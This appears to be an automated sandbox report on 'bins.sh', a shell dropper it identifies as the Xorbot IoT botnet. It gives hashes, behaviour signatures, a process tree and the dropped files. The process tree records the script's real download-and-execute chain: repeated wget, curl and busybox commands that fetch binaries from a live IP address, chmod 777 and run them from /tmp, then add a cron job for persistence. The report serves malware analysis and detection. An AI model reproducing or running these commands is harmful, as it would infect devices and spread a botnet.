Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03-12-2024 00:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    616244bb402bee04b6b45f703b80d324

  • SHA1

    eaddf7ee69008a10c656aba8958a6cecd0ba4f19

  • SHA256

    43fd86667e58eeb0e59922eb2aa6773f01cbd8c39235dc00904a1eb13230eccb

  • SHA512

    b1c3ac89ae943e25e2657353fa3f06f3fdc85f489cc965c7cbcc310357d75d0b1977fcd66b09aee06aaaf9986246d1c6ee29cda146aa773aaca3bfb1885857a4

  • SSDEEP

    96:82/zFBpXexFta6UdZrD1iyqAIg93GCk9Nbe/axFta6MfdG0rDNFoyqAIg9OWGCki:82/zFBpHxQOGCk9N9iGCk9N6Xz7

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1397) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          ./Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            ./0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Executes dropped EXE
            PID:745
          • /bin/rm
            rm 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:749
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/chmod
              chmod 777 b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • File and Directory Permissions Modification
              PID:751
            • /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              ./b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Executes dropped EXE
              PID:753
            • /bin/rm
              rm b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:757
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:768
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:780
              • /bin/chmod
                chmod 777 zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • File and Directory Permissions Modification
                PID:783
              • /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                ./zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Executes dropped EXE
                PID:785
              • /bin/rm
                rm zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                  PID:788
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Writes file to tmp directory
                  PID:789
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:798
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Writes file to tmp directory
                  PID:811
                • /bin/chmod
                  chmod 777 fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:813
                • /tmp/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  ./fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Executes dropped EXE
                  PID:814
                • /bin/rm
                  rm fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                    PID:816
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Writes file to tmp directory
                    PID:817
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:818
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Writes file to tmp directory
                    PID:819
                  • /bin/chmod
                    chmod 777 kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • File and Directory Permissions Modification
                    PID:820
                  • /tmp/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    ./kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:821
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:823
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:824
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:825
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:826
                        • /bin/rm
                          rm kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                          2⤵
                            PID:828
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                            2⤵
                              PID:889
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                              2⤵
                                PID:912
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                2⤵
                                • Writes file to tmp directory
                                PID:913
                              • /bin/chmod
                                chmod 777 ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                2⤵
                                • File and Directory Permissions Modification
                                PID:914
                              • /tmp/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                ./ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                2⤵
                                • Executes dropped EXE
                                PID:915
                              • /bin/rm
                                rm ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                                2⤵
                                  PID:916
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                  2⤵
                                    PID:917
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                    2⤵
                                      PID:922
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:923
                                    • /bin/chmod
                                      chmod 777 2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:928
                                    • /tmp/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      ./2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      2⤵
                                      • Executes dropped EXE
                                      PID:929
                                    • /bin/rm
                                      rm 2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                                      2⤵
                                        PID:931
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                        2⤵
                                          PID:932
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                          2⤵
                                            PID:933
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:934
                                          • /bin/chmod
                                            chmod 777 O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:935
                                          • /tmp/O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                            ./O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                            2⤵
                                            • Executes dropped EXE
                                            PID:936
                                          • /bin/rm
                                            rm O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny
                                            2⤵
                                              PID:938
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/uweHJBunQuD3qicmJ4W58Vnqrr6jP1i9Jw
                                              2⤵
                                                PID:939
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/uweHJBunQuD3qicmJ4W58Vnqrr6jP1i9Jw
                                                2⤵
                                                  PID:940
                                                • /bin/busybox
                                                  /bin/busybox wget http://216.126.231.240/bins/uweHJBunQuD3qicmJ4W58Vnqrr6jP1i9Jw
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:941
                                                • /bin/chmod
                                                  chmod 777 uweHJBunQuD3qicmJ4W58Vnqrr6jP1i9Jw
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:942
                                                • /tmp/uweHJBunQuD3qicmJ4W58Vnqrr6jP1i9Jw
                                                  ./uweHJBunQuD3qicmJ4W58Vnqrr6jP1i9Jw
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:944
                                                • /bin/rm
                                                  rm uweHJBunQuD3qicmJ4W58Vnqrr6jP1i9Jw
                                                  2⤵
                                                    PID:955
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/mfgSxVH7zfuMbZcI2nHA546AyiUoCdfO3y
                                                    2⤵
                                                      PID:956
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/mfgSxVH7zfuMbZcI2nHA546AyiUoCdfO3y
                                                      2⤵
                                                        PID:958

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC

                                                      Filesize

                                                      111KB

                                                      MD5

                                                      ca897a38f23ec23521ce0b1b83f8422d

                                                      SHA1

                                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                      SHA256

                                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                      SHA512

                                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                    • /tmp/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI

                                                      Filesize

                                                      98KB

                                                      MD5

                                                      5141342d0df8699fa32a6b066a0c592e

                                                      SHA1

                                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                      SHA256

                                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                      SHA512

                                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                    • /tmp/O3QDSAOTQLB5CV2xeZnZidsFVmzSahWgny

                                                      Filesize

                                                      141KB

                                                      MD5

                                                      3ca8decdb1e52c423c521bfff02ac200

                                                      SHA1

                                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                      SHA256

                                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                      SHA512

                                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                    • /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

                                                      Filesize

                                                      151KB

                                                      MD5

                                                      6c583043d91c55aa470c08c87058e917

                                                      SHA1

                                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                                      SHA256

                                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                      SHA512

                                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                    • /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf

                                                      Filesize

                                                      107KB

                                                      MD5

                                                      eb9c3a0de91fcf16ba17cb24608df68c

                                                      SHA1

                                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                                      SHA256

                                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                      SHA512

                                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                    • /tmp/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ

                                                      Filesize

                                                      127KB

                                                      MD5

                                                      89077b7bd4bcafca7713be43635c4862

                                                      SHA1

                                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                                      SHA256

                                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                      SHA512

                                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                    • /tmp/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5

                                                      Filesize

                                                      151KB

                                                      MD5

                                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                                      SHA1

                                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                      SHA256

                                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                      SHA512

                                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                    • /tmp/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB

                                                      Filesize

                                                      112KB

                                                      MD5

                                                      05d7857dcead18bbd86d2935f591873c

                                                      SHA1

                                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                      SHA256

                                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                      SHA512

                                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                    • /tmp/uweHJBunQuD3qicmJ4W58Vnqrr6jP1i9Jw

                                                      Filesize

                                                      99KB

                                                      MD5

                                                      9438d9bc392bcf300a5583b6df5bc8f6

                                                      SHA1

                                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                                      SHA256

                                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                      SHA512

                                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                    • /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q

                                                      Filesize

                                                      119KB

                                                      MD5

                                                      1b166b95f9cb4b079ef1b9ec8363ddf3

                                                      SHA1

                                                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                      SHA256

                                                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                      SHA512

                                                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                    • /var/spool/cron/crontabs/tmp.3ubcGb

                                                      Filesize

                                                      210B

                                                      MD5

                                                      7d7aada96da14c84c56ee54eaf430dc9

                                                      SHA1

                                                      c7014a0e869ed9632a6bb8cccfafb98f304c0c70

                                                      SHA256

                                                      5f248ef973af0b63d6562ab4bbaa673871b51233ae423367a7cbb28e28ac6e67

                                                      SHA512

                                                      0ae3a9b7ae092430fe4393b5c7e5c9700dabce906e18e5438da332486a0057e62e9946cd6650b753f7d89739574fa8c41e8b574f1d5a6a3e092c0c25982490b3